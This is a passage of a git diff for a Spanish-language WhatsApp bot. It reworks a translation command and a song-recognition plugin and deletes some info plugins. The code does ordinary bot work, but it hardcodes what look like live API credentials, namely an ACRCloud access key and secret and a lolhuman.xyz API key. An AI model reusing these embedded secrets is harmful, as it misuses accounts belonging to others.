-{title: "🪄 " + idiomas[72][0], rowId: `${usedPrefix + command} ${idiomas[72][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[72][0]} | ${idiomas[72][1]}`},
-{title: "🪄 " + idiomas[73][0], rowId: `${usedPrefix + command} ${idiomas[73][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[73][0]} | ${idiomas[73][1]}`},
-{title: "🪄 " + idiomas[74][0], rowId: `${usedPrefix + command} ${idiomas[74][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[74][0]} | ${idiomas[74][1]}`},
-{title: "🪄 " + idiomas[75][0], rowId: `${usedPrefix + command} ${idiomas[75][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[75][0]} | ${idiomas[75][1]}`},
-{title: "🪄 " + idiomas[76][0], rowId: `${usedPrefix + command} ${idiomas[76][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[76][0]} | ${idiomas[76][1]}`},
-{title: "🪄 " + idiomas[77][0], rowId: `${usedPrefix + command} ${idiomas[77][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[77][0]} | ${idiomas[77][1]}`},
-{title: "🪄 " + idiomas[78][0], rowId: `${usedPrefix + command} ${idiomas[78][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[78][0]} | ${idiomas[78][1]}`},
-{title: "🪄 " + idiomas[79][0], rowId: `${usedPrefix + command} ${idiomas[79][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[79][0]} | ${idiomas[79][1]}`},
-{title: "🪄 " + idiomas[80][0], rowId: `${usedPrefix + command} ${idiomas[80][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[80][0]} | ${idiomas[80][1]}`},
-{title: "🪄 " + idiomas[81][0], rowId: `${usedPrefix + command} ${idiomas[81][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[81][0]} | ${idiomas[81][1]}`},
-{title: "🪄 " + idiomas[82][0], rowId: `${usedPrefix + command} ${idiomas[82][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[82][0]} | ${idiomas[82][1]}`},
-{title: "🪄 " + idiomas[83][0], rowId: `${usedPrefix + command} ${idiomas[83][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[83][0]} | ${idiomas[83][1]}`},
-{title: "🪄 " + idiomas[84][0], rowId: `${usedPrefix + command} ${idiomas[84][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[84][0]} | ${idiomas[84][1]}`},
-{title: "🪄 " + idiomas[85][0], rowId: `${usedPrefix + command} ${idiomas[85][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[85][0]} | ${idiomas[85][1]}`},
-{title: "🪄 " + idiomas[86][0], rowId: `${usedPrefix + command} ${idiomas[86][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[86][0]} | ${idiomas[86][1]}`},
-{title: "🪄 " + idiomas[87][0], rowId: `${usedPrefix + command} ${idiomas[87][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[87][0]} | ${idiomas[87][1]}`},
-{title: "🪄 " + idiomas[88][0], rowId: `${usedPrefix + command} ${idiomas[88][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[88][0]} | ${idiomas[88][1]}`},
-{title: "🪄 " + idiomas[89][0], rowId: `${usedPrefix + command} ${idiomas[89][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[89][0]} | ${idiomas[89][1]}`},
-{title: "🪄 " + idiomas[90][0], rowId: `${usedPrefix + command} ${idiomas[90][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[90][0]} | ${idiomas[90][1]}`},
-{title: "🪄 " + idiomas[91][0], rowId: `${usedPrefix + command} ${idiomas[91][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[91][0]} | ${idiomas[91][1]}`},
-{title: "🪄 " + idiomas[92][0], rowId: `${usedPrefix + command} ${idiomas[92][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[92][0]} | ${idiomas[92][1]}`},
-{title: "🪄 " + idiomas[93][0], rowId: `${usedPrefix + command} ${idiomas[93][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[93][0]} | ${idiomas[93][1]}`},
-{title: "🪄 " + idiomas[94][0], rowId: `${usedPrefix + command} ${idiomas[94][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[94][0]} | ${idiomas[94][1]}`},
-{title: "🪄 " + idiomas[95][0], rowId: `${usedPrefix + command} ${idiomas[95][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[95][0]} | ${idiomas[95][1]}`},
-{title: "🪄 " + idiomas[96][0], rowId: `${usedPrefix + command} ${idiomas[96][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[96][0]} | ${idiomas[96][1]}`},
-{title: "🪄 " + idiomas[97][0], rowId: `${usedPrefix + command} ${idiomas[97][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[97][0]} | ${idiomas[97][1]}`},
-{title: "🪄 " + idiomas[98][0], rowId: `${usedPrefix + command} ${idiomas[98][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[98][0]} | ${idiomas[98][1]}`},
-{title: "🪄 " + idiomas[99][0], rowId: `${usedPrefix + command} ${idiomas[99][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[99][0]} | ${idiomas[99][1]}`},
-{title: "🪄 " + idiomas[100][0], rowId: `${usedPrefix + command} ${idiomas[100][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[100][0]} | ${idiomas[100][1]}`},
-{title: "🪄 " + idiomas[101][0], rowId: `${usedPrefix + command} ${idiomas[101][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[101][0]} | ${idiomas[101][1]}`},
-{title: "🪄 " + idiomas[102][0], rowId: `${usedPrefix + command} ${idiomas[102][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[102][0]} | ${idiomas[102][1]}`},
-{title: "🪄 " + idiomas[103][0], rowId: `${usedPrefix + command} ${idiomas[103][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[103][0]} | ${idiomas[103][1]}`},
-{title: "🪄 " + idiomas[104][0], rowId: `${usedPrefix + command} ${idiomas[104][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[104][0]} | ${idiomas[104][1]}`},
-{title: "🪄 " + idiomas[105][0], rowId: `${usedPrefix + command} ${idiomas[105][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[105][0]} | ${idiomas[105][1]}`},
-{title: "🪄 " + idiomas[106][0], rowId: `${usedPrefix + command} ${idiomas[106][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[106][0]} | ${idiomas[106][1]}`},
-{title: "🪄 " + idiomas[107][0], rowId: `${usedPrefix + command} ${idiomas[107][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[107][0]} | ${idiomas[107][1]}`},
-{title: "🪄 " + idiomas[108][0], rowId: `${usedPrefix + command} ${idiomas[108][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[108][0]} | ${idiomas[108][1]}`},
-{title: "🪄 " + idiomas[109][0], rowId: `${usedPrefix + command} ${idiomas[109][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[109][0]} | ${idiomas[109][1]}`},
-{title: "🪄 " + idiomas[110][0], rowId: `${usedPrefix + command} ${idiomas[110][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[110][0]} | ${idiomas[110][1]}`},
-{title: "🪄 " + idiomas[111][0], rowId: `${usedPrefix + command} ${idiomas[111][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[111][0]} | ${idiomas[111][1]}`},
-{title: "🪄 " + idiomas[112][0], rowId: `${usedPrefix + command} ${idiomas[112][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[112][0]} | ${idiomas[112][1]}`},
-{title: "🪄 " + idiomas[113][0], rowId: `${usedPrefix + command} ${idiomas[113][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[113][0]} | ${idiomas[113][1]}`},
-{title: "🪄 " + idiomas[114][0], rowId: `${usedPrefix + command} ${idiomas[114][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[114][0]} | ${idiomas[114][1]}`},
-{title: "🪄 " + idiomas[115][0], rowId: `${usedPrefix + command} ${idiomas[115][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[115][0]} | ${idiomas[115][1]}`},
-{title: "🪄 " + idiomas[116][0], rowId: `${usedPrefix + command} ${idiomas[116][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[116][0]} | ${idiomas[116][1]}`},
-{title: "🪄 " + idiomas[117][0], rowId: `${usedPrefix + command} ${idiomas[117][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[117][0]} | ${idiomas[117][1]}`},
-{title: "🪄 " + idiomas[118][0], rowId: `${usedPrefix + command} ${idiomas[118][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[118][0]} | ${idiomas[118][1]}`},
-{title: "🪄 " + idiomas[119][0], rowId: `${usedPrefix + command} ${idiomas[119][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[119][0]} | ${idiomas[119][1]}`},
-{title: "🪄 " + idiomas[120][0], rowId: `${usedPrefix + command} ${idiomas[120][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[120][0]} | ${idiomas[120][1]}`},
-{title: "🪄 " + idiomas[121][0], rowId: `${usedPrefix + command} ${idiomas[121][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[121][0]} | ${idiomas[121][1]}`},
-{title: "🪄 " + idiomas[122][0], rowId: `${usedPrefix + command} ${idiomas[122][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[122][0]} | ${idiomas[122][1]}`},
-{title: "🪄 " + idiomas[123][0], rowId: `${usedPrefix + command} ${idiomas[123][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[123][0]} | ${idiomas[123][1]}`},
-{title: "🪄 " + idiomas[124][0], rowId: `${usedPrefix + command} ${idiomas[124][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[124][0]} | ${idiomas[124][1]}`},
-{title: "🪄 " + idiomas[125][0], rowId: `${usedPrefix + command} ${idiomas[125][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[125][0]} | ${idiomas[125][1]}`},
-{title: "🪄 " + idiomas[126][0], rowId: `${usedPrefix + command} ${idiomas[126][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[126][0]} | ${idiomas[126][1]}`},
-{title: "🪄 " + idiomas[127][0], rowId: `${usedPrefix + command} ${idiomas[127][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[127][0]} | ${idiomas[127][1]}`},
-{title: "🪄 " + idiomas[128][0], rowId: `${usedPrefix + command} ${idiomas[128][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[128][0]} | ${idiomas[128][1]}`},
-{title: "🪄 " + idiomas[129][0], rowId: `${usedPrefix + command} ${idiomas[129][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[129][0]} | ${idiomas[129][1]}`},
-{title: "🪄 " + idiomas[130][0], rowId: `${usedPrefix + command} ${idiomas[130][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[130][0]} | ${idiomas[130][1]}`},
-{title: "🪄 " + idiomas[131][0], rowId: `${usedPrefix + command} ${idiomas[131][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[131][0]} | ${idiomas[131][1]}`},
-{title: "🪄 " + idiomas[132][0], rowId: `${usedPrefix + command} ${idiomas[132][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[132][0]} | ${idiomas[132][1]}`},
-{title: "🪄 " + idiomas[133][0], rowId: `${usedPrefix + command} ${idiomas[133][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[133][0]} | ${idiomas[133][1]}`},
-{title: "🪄 " + idiomas[134][0], rowId: `${usedPrefix + command} ${idiomas[134][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[134][0]} | ${idiomas[134][1]}`}
-]}]
-try {
-let result = await translate(`${text}`, { to: lang, autoCorrect: true })
-await delay(5 * 5000)
-const listMessage = {
-text: result.text,
-footer: `*𝗣𝗥𝗘𝗠𝗜𝗨𝗠 ${user.premium ? "✅": "❌"}*\n${wm}`,
-title: `*⎔───ꕤ 🌐 𝙏𝙍𝘼𝘿𝙐𝘾𝘾𝙄𝙊𝙉 ꕤ───⎔*`,
-buttonText: `🪄 𝙀𝙡𝙚𝙜𝙞𝙧 𝙄𝙙𝙞𝙤𝙢𝙖 🪄`,
-sections }
-await conn.sendMessage(m.chat, listMessage, {quoted: fkontak} )
-await delay(2 * 2000)
-await m.reply(result.text)
-
-} catch {
-try {
-let lol = await fetch(`https://api.lolhuman.xyz/api/translate/auto/${lang}?apikey=85faf717d0545d14074659ad&text=${text}`)
-let loll = await lol.json()
-let result2 = loll.result.translated
-await delay(5 * 5000)
-const listMessage = {
-text: result2.text,
-footer: `*𝗣𝗥𝗘𝗠𝗜𝗨𝗠 ${user.premium ? "✅": "❌"}*\n${wm}`,
-title: `*⎔───ꕤ 🌐 𝙏𝙍𝘼𝘿𝙐𝘾𝘾𝙄𝙊𝙉 ꕤ───⎔*`,
-buttonText: `🪄 𝙀𝙡𝙚𝙜𝙞𝙧 𝙄𝙙𝙞𝙤𝙢𝙖 🪄`,
-sections }
-await conn.sendMessage(m.chat, listMessage, {quoted: fkontak} )
-await delay(2 * 2000)
-await m.reply(result2.text)
-} catch {
-await m.reply(`${fg}\`\`\`NO SE LOGRÓ TRADUCIR SU TEXTO, REPORTE ESTE COMANDO CON EL COMANDO #reporte\`\`\``)
-}}}
-handler.command = /^(translate|traducir|trad)$/i
-handler.register = true
-handler.money = 20
-export default handler
-const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
\ No newline at end of file
+const handler = async (m, { args, usedPrefix, command }) => {
+const defaultLang = 'es';
+if (!args || !args[0]) return m.reply(`⚠️ *Uso correcto del comando:*
+» ${usedPrefix + command} (idioma destino) (texto a traducir)
+
+📌 *Ejemplos:*
+• ${usedPrefix + command} es Hello » Español
+• ${usedPrefix + command} en hola » inglés
+• ${usedPrefix + command} fr buenos días » Francés
+• ${usedPrefix + command} pt tudo bem » Portugués
+• ${usedPrefix + command} de cómo estás » Alemán
+• ${usedPrefix + command} it buongiorno » Italiano`);
+
+ let lang = args[0];
+ let text = args.slice(1).join(' ');
+
+ if ((lang || '').length !== 2) {
+ text = args.join(' ');
+ lang = defaultLang;
+ }
+
+ if (!text && m.quoted && m.quoted.text) text = m.quoted.text;
+
+ if (!text) return m.reply(msg);
+
+ try {
+ const res = await fetch("https://tr.skyultraplus.com/translate", {
+ method: "POST",
+ body: JSON.stringify({
+ q: text,
+ source: "auto",
+ target: lang,
+ format: "text",
+ alternatives: 3,
+ api_key: ""
+ }),
+ headers: { "Content-Type": "application/json" }
+ });
+
+ const json = await res.json();
+
+ if (!json || !json.translatedText) throw '❌ No se pudo traducir.';
+
+ await m.reply(`*Traducción:*\n${json.translatedText}`);
+ } catch (e) {
+ console.error(e);
+ await m.reply('*[❗𝐈𝐍𝐅𝐎❗] ERROR, VUELVA A INTENTARLO*');
+ }
+};
+
+handler.help = ['traducir', 'translate'];
+handler.tags = ['tools'];
+handler.command = /^(translate|traducir|trad)$/i;
+handler.register = true;
+
+export default handler;
diff --git a/plugins/herramientas-whatmusic.js b/plugins/herramientas-whatmusic.js
index a6204938b..0360275d0 100644
--- a/plugins/herramientas-whatmusic.js
+++ b/plugins/herramientas-whatmusic.js
@@ -1,35 +1,36 @@
-import fs from 'fs'
-import acrcloud from 'acrcloud'
-let acr = new acrcloud({
-host: 'identify-eu-west-1.acrcloud.com',
+import fs from 'fs';
+import acrcloud from 'acrcloud';
+const acr = new acrcloud({host: 'identify-eu-west-1.acrcloud.com',
access_key: 'c33c767d683f78bd17d4bd4991955d81',
-access_secret: 'bvgaIAEtADBTbLwiPGYlxupWqkNGIjT7J9Ag2vIu'
-})
+access_secret: 'bvgaIAEtADBTbLwiPGYlxupWqkNGIjT7J9Ag2vIu',
+});
-let handler = async (m) => {
-let q = m.quoted ? m.quoted : m
-let mime = (q.msg || q).mimetype || ''
-if (/audio|video/.test(mime)) { if ((q.msg || q).seconds > 20) return m.reply('╰⊱⚠️⊱ *𝘼𝘿𝙑𝙀𝙍𝙏𝙀𝙉𝘾𝙄𝘼* ⊱⚠️⊱╮\n\nEl archivo que carga es demasiado grande, le sugerimos que corte el archivo grande a un archivo más pequeño, 10-20 segundos Los datos de audio son suficientes para identificar')
-await conn.reply(m.chat, wait, m)
-let media = await q.download()
-let ext = mime.split('/')[1]
-fs.writeFileSync(`./tmp/${m.sender}.${ext}`, media)
-let res = await acr.identify(fs.readFileSync(`./tmp/${m.sender}.${ext}`))
-let { code, msg } = res.status
-if (code !== 0) throw msg
-let { title, artists, album, genres, release_date } = res.metadata.music[0]
-let txt = `
-𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊 𝘿𝙀 𝙇𝘼 𝘽𝙐𝙎𝙌𝙐𝙀𝘿𝘼𝙎
+const handler = async (m) => {
+const q = m.quoted ? m.quoted : m;
+const mime = (q.msg || q).mimetype || '';
+if (/audio|video/.test(mime)) {
+if ((q.msg || q).seconds > 20) return m.reply('⚠️ ᴇʟ ᴀʀᴄʜɪᴠᴏ ǫᴜᴇ ᴄᴀʀɢᴀ ᴇs ᴅᴇᴍᴀsɪᴀᴅᴏ ɢʀᴀɴᴅᴇ, ʟᴇ sᴜɢᴇʀɪᴍᴏs ǫᴜᴇ ᴄᴏʀᴛᴇ ᴇʟ ᴀʀᴄʜɪᴠᴏ ɢʀᴀɴᴅᴇ ᴀ ᴜɴ ᴀʀᴄʜɪᴠᴏ ᴍᴀ́s ᴘᴇǫᴜᴇɴ̃ᴏ, 10-20 sᴇɢᴜɴᴅᴏs ʟᴏs ᴅᴀᴛᴏs ᴅᴇ ᴀᴜᴅɪᴏ sᴏɴ sᴜғɪᴄɪᴇɴᴛᴇs ᴘᴀʀᴀ ɪᴅᴇɴᴛɪғɪᴄᴀʀ');
+const media = await q.download();
+const ext = mime.split('/')[1];
+fs.writeFileSync(`./tmp/${m.sender}.${ext}`, media);
+const res = await acr.identify(fs.readFileSync(`./tmp/${m.sender}.${ext}`));
+const {code, msg} = res.status;
+if (code !== 0) throw msg;
+const {title, artists, album, genres, release_date} = res.metadata.music[0];
+const txt = `*\`RESULTADOS DE LA BÚSQUEDA*\`
-• 📌 𝙏𝙄𝙏𝙐𝙇𝙊: ${title}
-• 👨🎤 𝘼𝙍𝙏𝙄𝙎𝙏𝘼: ${artists !== undefined ? artists.map(v => v.name).join(', ') : 'No encontrado'}
-• 💾 𝘼𝙇𝘽𝙐𝙈: ${album.name || 'No encontrado'}
-• 🌐 𝙂𝙀𝙉𝙀𝙍𝙊: ${genres !== undefined ? genres.map(v => v.name).join(', ') : 'No encontrado'}
-• 📆 𝙁𝙀𝘾𝙃𝘼 𝘿𝙀 𝙇𝘼𝙉𝙕𝘼𝙈𝙄𝙀𝙉𝙏𝙊: ${release_date || 'No encontrado'}
-`.trim()
-fs.unlinkSync(`./tmp/${m.sender}.${ext}`)
-m.reply(txt)
-} else throw '╰⊱❗️⊱ *𝙇𝙊 𝙐𝙎𝙊́ 𝙈𝘼𝙇* ⊱❗️⊱╮\n\n𝙍𝙀𝙎𝙋𝙊𝙉𝘿𝘼 𝘼 𝙐𝙉 𝘼𝙐𝘿𝙄𝙊'
-}
-handler.command = /^quemusica|quemusicaes|whatmusic$/i
-export default handler
+• 📌 𝐓𝐢𝐭𝐮𝐥𝐨: ${title}
+• 👨🎤 𝐀𝐫𝐭𝐢𝐬𝐭𝐚: ${artists !== undefined ? artists.map((v) => v.name).join(', ') : 'No encontrado'}
+• 💾 𝐀𝐥𝐛𝐮𝐦: ${album.name || 'No encontrado'}
+• 🌐 𝐆𝐞𝐧𝐞𝐫𝐨: ${genres !== undefined ? genres.map((v) => v.name).join(', ') : 'No encontrado'}
+• 📆 𝐅𝐞𝐜𝐡𝐚 𝐝𝐞 𝐥𝐚𝐧𝐳𝐚𝐦𝐢𝐞𝐧𝐭𝐨: ${release_date || 'No encontrado'}
+`.trim();
+fs.unlinkSync(`./tmp/${m.sender}.${ext}`);
+m.reply(txt);
+} else throw '*⚠️ 𝐑𝐞𝐬𝐩𝐨𝐧𝐝𝐞 𝐚 𝐮𝐧 𝐚𝐮𝐝𝐢𝐨*';
+};
+handler.help = ['quemusica']
+handler.tags = ['tools']
+handler.command = /^quemusica|quemusicaes|whatmusic$/i;
+handler.register = true
+export default handler;
diff --git a/plugins/info-bot.js b/plugins/info-bot.js
deleted file mode 100644
index 4299167cc..000000000
--- a/plugins/info-bot.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import fs from "fs"
-let handler = m => m
-handler.all = async function (m) {
-let vn = './media/bot.mp3'
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-const user = `@${m.sender.split`@`[0]}`;
-let chat = global.db.data.chats[m.chat]
-let bot = `${pickRandom([`*Hola ${user} soy un bot el que puedo ayudar? 👉👈*`, `Aqui estoy`, `bot tu abuela`, `que quiere?`, `No dispoble 🫣`, `Hola aqui estoy soy tu botsito sexy el que puedo ayudar uwu`])}
-`.trim()
-//const estilo = { key: { fromMe: false, participant: `0@s.whatsapp.net`, ...(m.chat ? { remoteJid: "5219992095479-1625305606@g.us" } : {}) }, message: {orderMessage: { itemCount : -999999, status: 1, surface : 1, message: '𝑇ℎ𝑒 𝑀𝑦𝑠𝑡𝑖𝑐 - 𝐵𝑜𝑡', orderTitle: 'Bang', thumbnail: fs.readFileSync('./Menu2.jpg'), sellerJid: '0@s.whatsapp.net'}}}
-//const estiloaudio = { key: { fromMe: false, participant: `0@s.whatsapp.net`, ...(m.chat ? { remoteJid: "5219992095479-1625305606@g.us" } : {}) }, message: {"audioMessage": { "mimetype":"audio/ogg; codecs=opus", "seconds": "99569", "ptt": "true"}}}
-if (/^bot$/i.test(m.text) && !chat.isBanned) {
-conn.sendPresenceUpdate('recording', m.chat)
-await conn.sendMessage(m.chat, {text: bot, mentions: [m.sender]}, {quoted: fkontak})
-//conn.sendButton(m.chat, '*𝙃𝙤𝙡𝙖 𝙨𝙤𝙮 𝙪𝙣 𝙗𝙤𝙩 𝙚𝙡 𝙦𝙪𝙚 𝙥𝙪𝙚𝙙𝙤 𝙖𝙮𝙪𝙙𝙖𝙧? 👉👈*', wm, [['𝙼𝙴𝙽𝚄', `#menu`]], 'conversation', { sendEphemeral: true, quoted: m })
-conn.sendFile(m.chat, vn, 'bot.mp3', null, m, true, { type: 'audioMessage', seconds: '4556', ptt: true, sendEphemeral: true, quoted: m })}
-return !0
-}
-export default handler
-
-function pickRandom(list) {
- return list[Math.floor(Math.random() * list.length)]
-}
\ No newline at end of file
diff --git a/plugins/info-chat-anonimo.js b/plugins/info-chat-anonimo.js
deleted file mode 100644
index c7242d15a..000000000
--- a/plugins/info-chat-anonimo.js
+++ /dev/null
@@ -1,115 +0,0 @@
-import { xpRange } from '../lib/levelling.js'
-import PhoneNumber from 'awesome-phonenumber'
-import { promises } from 'fs'
-import { join } from 'path'
-let handler = async (m, { conn, usedPrefix, command, args, usedPrefix: _p, __dirname, isOwner, text, isAdmin, isROwner }) => {
-
-
-const { levelling } = '../lib/levelling.js'
-//let handler = async (m, { conn, usedPrefix, usedPrefix: _p, __dirname, text }) => {
-
-let { exp, limit, level, role } = global.db.data.users[m.sender]
-let { min, xp, max } = xpRange(level, global.multiplier)
-
-let d = new Date(new Date + 3600000)
-let locale = 'es'
-let weton = ['Pahing', 'Pon', 'Wage', 'Kliwon', 'Legi'][Math.floor(d / 84600000) % 5]
-let week = d.toLocaleDateString(locale, { weekday: 'long' })
-let date = d.toLocaleDateString(locale, {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-})
-let dateIslamic = Intl.DateTimeFormat(locale + '-TN-u-ca-islamic', {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-}).format(d)
-let time = d.toLocaleTimeString(locale, {
-hour: 'numeric',
-minute: 'numeric',
-second: 'numeric'
-})
-let _uptime = process.uptime() * 1000
-let _muptime
-if (process.send) {
-process.send('uptime')
-_muptime = await new Promise(resolve => {
-process.once('message', resolve)
-setTimeout(resolve, 1000)
-}) * 1000
-}
-let { money } = global.db.data.users[m.sender]
-let muptime = clockString(_muptime)
-let uptime = clockString(_uptime)
-let totalreg = Object.keys(global.db.data.users).length
-let rtotalreg = Object.values(global.db.data.users).filter(user => user.registered == true).length
-let replace = {
-'%': '%',
-p: _p, uptime, muptime,
-me: conn.getName(conn.user.jid),
-
-exp: exp - min,
-maxexp: xp,
-totalexp: exp,
-xp4levelup: max - exp,
-
-level, limit, weton, week, date, dateIslamic, time, totalreg, rtotalreg, role,
-readmore: readMore
-}
-text = text.replace(new RegExp(`%(${Object.keys(replace).sort((a, b) => b.length - a.length).join`|`})`, 'g'), (_, name) => '' + replace[name])
-
-
-let pp = './media/menus/Menu1.jpg'
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-let mentionedJid = [who]
-let username = conn.getName(who)
-
-let chat = `👤 *El chat Anónimo funciona solo al privado del Bot.*
-
-👥 Consiste en usar el número del Bot para hablar con otras personas, es decir las dos personas estarán a la vez escribiendo por el chat privado del Bot, de esa manera ninguna 🔒de las dos personas pueden ver su número, Foto, usuario, descripción etc... 🔒
-
-✨ Para poder hacer uso de esta función debes hacer lo siguiente:
-⚡️ Ingresa al chat privado del Bot
-⚡️ Escribe es siguiente comando
-*#start*
-
-✅ Una vez hecho lo anterior solo tienes que tener paciencia a que otra persona use el mismo comando (#start) para poder ser vinculados por medio del número del Bot y empezar a interactuar
-
-✅ Si dejas activado el #start tendrás más posibilidades de interactuar con la otra persona de forma Anónima
-
-🚪 En caso que quieras salir del chat anónimo usa el siguiente comando
-*#leave*
-
-✅ De esa forma ya dejarás de estar en el chat anónimo del Bot
-❗ No nos hacemos responsables del mal uso que le puedas dar a esta función del Bot.`
-
-const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
-}
-
-await conn.sendButton(m.chat, chat, wm, pp, [['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu'] ], fkontak, m)
-}
-
-handler.command = /^(anonimochat|chatanonimo|AnonimoChat|ChatAnonimo|chatanónimo|anónimochat|anonimoch)$/i
-handler.exp = 70
-export default handler
-
-const more = String.fromCharCode(8206)
-const readMore = more.repeat(4001)
-function clockString(ms) {
-let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
-let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
-let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
-return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')}
diff --git a/plugins/info-creador.js b/plugins/info-creador.js
deleted file mode 100644
index 32f535ad7..000000000
--- a/plugins/info-creador.js
+++ /dev/null
@@ -1,105 +0,0 @@
-let MessageType = (await import(global.baileys)).default
-let handler = async (m, { conn, command, args, usedPrefix, DevMode }) => {
- let chat = global.db.data.chats[m.chat]
-let user = global.db.data.users[m.sender]
